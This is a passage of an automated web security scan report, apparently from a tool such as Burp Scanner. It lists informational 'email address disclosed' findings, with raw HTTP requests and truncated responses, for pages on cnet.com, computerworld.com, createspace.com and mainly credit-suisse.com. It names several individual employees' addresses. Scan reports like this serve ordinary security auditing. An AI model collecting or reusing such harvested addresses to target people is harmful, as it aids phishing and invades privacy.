* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

14.2. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The following email address was disclosed in the response:

membership@noreply.cnet.com

Request

Response

14.3. http://www.computerworld.com/resources/scripts/lib/jquery.cookie.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.computerworld.com
Path:	/resources/scripts/lib/jquery.cookie.js

Issue detail

The following email address was disclosed in the response:

klaus.hartl@stilbuero.de

Request

GET /resources/scripts/lib/jquery.cookie.js HTTP/1.1
Host: www.computerworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.computerworld.com/
Cookie: __utma=22922409.780318155.1312579724.1312579724.1312579724.1; __utmz=22922409.1312579724.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __switchTo5x=35; __unam=8eb1eeb-1319bd924f9-3aa6664e-1

Response

HTTP/1.1 200 OK
ETag: "11826c-1113-49e712723e700"
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 14 Mar 2011 13:18:52 GMT
Accept-Ranges: bytes
Cneonction: close
Content-Type: application/x-javascript
Vary: Accept-Encoding
Content-Length: 4371
Cache-Control: public, max-age=600
Date: Mon, 19 Sep 2011 19:30:05 GMT
Connection: close

/**
* Cookie plugin
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/li
...[SNIP]...
kie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

14.4. https://www.createspace.com/en/community/4.0.15/resources/scripts/gen/41a54d59c9f0130b7bdac8862ec506f8.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/en/community/4.0.15/resources/scripts/gen/41a54d59c9f0130b7bdac8862ec506f8.js

Issue detail

The following email address was disclosed in the response:

support@zapatec.com

Request

Response

14.5. https://www.createspace.com/en/community/4.0.15/styles/csp/comm.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/en/community/4.0.15/styles/csp/comm.css

Issue detail

The following email address was disclosed in the response:

mtreat@createspace.com

Request

Response

14.6. https://www.credit-suisse.com/app/search/js/jquery.busybox.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/app/search/js/jquery.busybox.js

Issue detail

The following email address was disclosed in the response:

rogerjose81@gmail.com

Request

GET /app/search/js/jquery.busybox.js HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: https://www.credit-suisse.com/search/en/index.jsp?qt=xss&site=csus
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$; imagerotation=0/0

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:31:54 GMT
Accept-Ranges: bytes
Content-Length: 3462
Content-Type: application/x-javascript
Last-Modified: Tue, 24 May 2011 09:06:01 GMT
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

/**
* 'busyBox' v1.0
* @author Roger Padilla C. - rogerjose81@gmail.com
* @license BSD
*/
(function($) {

   /**
    * Main function; used to initialize the plugin or for calling the available functionalities of the plugin (such as 'open' or 'close').
    * The 'arguments' ar
...[SNIP]...

14.7. https://www.credit-suisse.com/investment_banking/doc/global_economy_monthly_review.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/global_economy_monthly_review.pdf

Issue detail

The following email addresses were disclosed in the response:

christel.aranda-hassel@credit-suisse.com
giovanni.zanni@credit-suisse.com
jay.feldman@credit-suisse.com
jonathan.basile@credit-suisse.com
neal.soss@credit-suisse.com
neville.hill@credit-suisse.com
robert.barrie@credit-suisse.com
violante.dicanossa@credit-suisse.com

Request

GET /investment_banking/doc/global_economy_monthly_review.pdf HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.8. https://www.credit-suisse.com/investment_banking/doc/us_economics_digest.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/us_economics_digest.pdf

Issue detail

The following email address was disclosed in the response:

dong.tao@csfb.com

Request

GET /investment_banking/doc/us_economics_digest.pdf HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.9. https://www.credit-suisse.com/investment_banking/fixed_income/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/fixed_income/en/

Issue detail

The following email addresses were disclosed in the response:

fixedincome.marketing@credit-suisse.com
gael.deboissard@credit-suisse.com
hara@credit-suisse.com

Request

GET /investment_banking/fixed_income/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:gael.deboissard@credit-suisse.com">
...[SNIP]...
<a href="mailto:timothy.o'hara@credit-suisse.com">
...[SNIP]...
<a href="mailto:fixedincome.marketing@credit-suisse.com" rel="NewWindow">
...[SNIP]...

14.10. https://www.credit-suisse.com/investment_banking/fixed_income/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/fixed_income/en/index.jsp

Issue detail

The following email addresses were disclosed in the response:

fixedincome.marketing@credit-suisse.com
gael.deboissard@credit-suisse.com
hara@credit-suisse.com

Request

GET /investment_banking/fixed_income/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:gael.deboissard@credit-suisse.com">
...[SNIP]...
<a href="mailto:timothy.o'hara@credit-suisse.com">
...[SNIP]...
<a href="mailto:fixedincome.marketing@credit-suisse.com" rel="NewWindow">
...[SNIP]...

14.11. https://www.credit-suisse.com/news/en/media_release.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/news/en/media_release.jsp

Issue detail

The following email address was disclosed in the response:

media.relations@credit-suisse.com

Request

GET /news/en/media_release.jsp?ns=41810 HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29796

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
<span class="nowrap">media.relations@credit-suisse.com</span>
...[SNIP]...

14.12. https://www.credit-suisse.com/responsibility/de/initiatives/education_initiative/initiatives_education.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/de/initiatives/education_initiative/initiatives_education.jsp

Issue detail

The following email address was disclosed in the response:

emea.philanthropy@credit-suisse.com

Request

GET /responsibility/de/initiatives/education_initiative/initiatives_education.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16712

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:emea.philanthropy@credit-suisse.com">
...[SNIP]...

14.13. https://www.credit-suisse.com/responsibility/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31649

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.14. https://www.credit-suisse.com/responsibility/en/accessibility.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/accessibility.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/accessibility.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 33495

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.15. https://www.credit-suisse.com/responsibility/en/approach.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/approach.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/approach.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30856

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.16. https://www.credit-suisse.com/responsibility/en/banking/client_focus.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/client_focus.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/client_focus.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30070

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.17. https://www.credit-suisse.com/responsibility/en/banking/client_foundations.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/client_foundations.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/client_foundations.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30450

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.18. https://www.credit-suisse.com/responsibility/en/banking/csri/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/csri/index.jsp

Issue detail

The following email address was disclosed in the response:

cs.researchinstitute@credit-suisse.com

Request

GET /responsibility/en/banking/csri/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21537

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:cs.researchinstitute@credit-suisse.com">
...[SNIP]...

14.19. https://www.credit-suisse.com/responsibility/en/banking/due_diligence.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/due_diligence.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/due_diligence.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29717

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.20. https://www.credit-suisse.com/responsibility/en/banking/environment.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/environment.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/environment.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28932

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.21. https://www.credit-suisse.com/responsibility/en/banking/equator_principles.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/equator_principles.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/equator_principles.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30481

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.22. https://www.credit-suisse.com/responsibility/en/banking/global_compact.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/global_compact.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/global_compact.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 33994

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.23. https://www.credit-suisse.com/responsibility/en/banking/human_rights.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/human_rights.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/human_rights.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:06 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32745

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.24. https://www.credit-suisse.com/responsibility/en/banking/improper_use.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/improper_use.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/improper_use.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29492

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.25. https://www.credit-suisse.com/responsibility/en/banking/international_agreements.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/international_agreements.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/international_agreements.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:18 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29128

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.26. https://www.credit-suisse.com/responsibility/en/banking/microfinance.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/microfinance.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/microfinance.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31049

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.27. https://www.credit-suisse.com/responsibility/en/banking/new_markets.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/new_markets.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/new_markets.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 35590

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.28. https://www.credit-suisse.com/responsibility/en/banking/projects_microfinance.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/projects_microfinance.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/projects_microfinance.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.29. https://www.credit-suisse.com/responsibility/en/banking/risk_review.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/risk_review.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/risk_review.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29445

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.30. https://www.credit-suisse.com/responsibility/en/banking/sector_policies.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/sector_policies.jsp

Issue detail

The following email address was disclosed in the response:

sustainability.affairs@credit-suisse.com

Request

GET /responsibility/en/banking/sector_policies.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28583

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:sustainability.affairs@credit-suisse.com">
...[SNIP]...

14.31. https://www.credit-suisse.com/responsibility/en/banking/sme_switzerland.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/sme_switzerland.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/sme_switzerland.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29907

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.32. https://www.credit-suisse.com/responsibility/en/banking/sustainability_policy.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/sustainability_policy.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/sustainability_policy.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31149

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.33. https://www.credit-suisse.com/responsibility/en/banking/trust.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/trust.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/trust.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
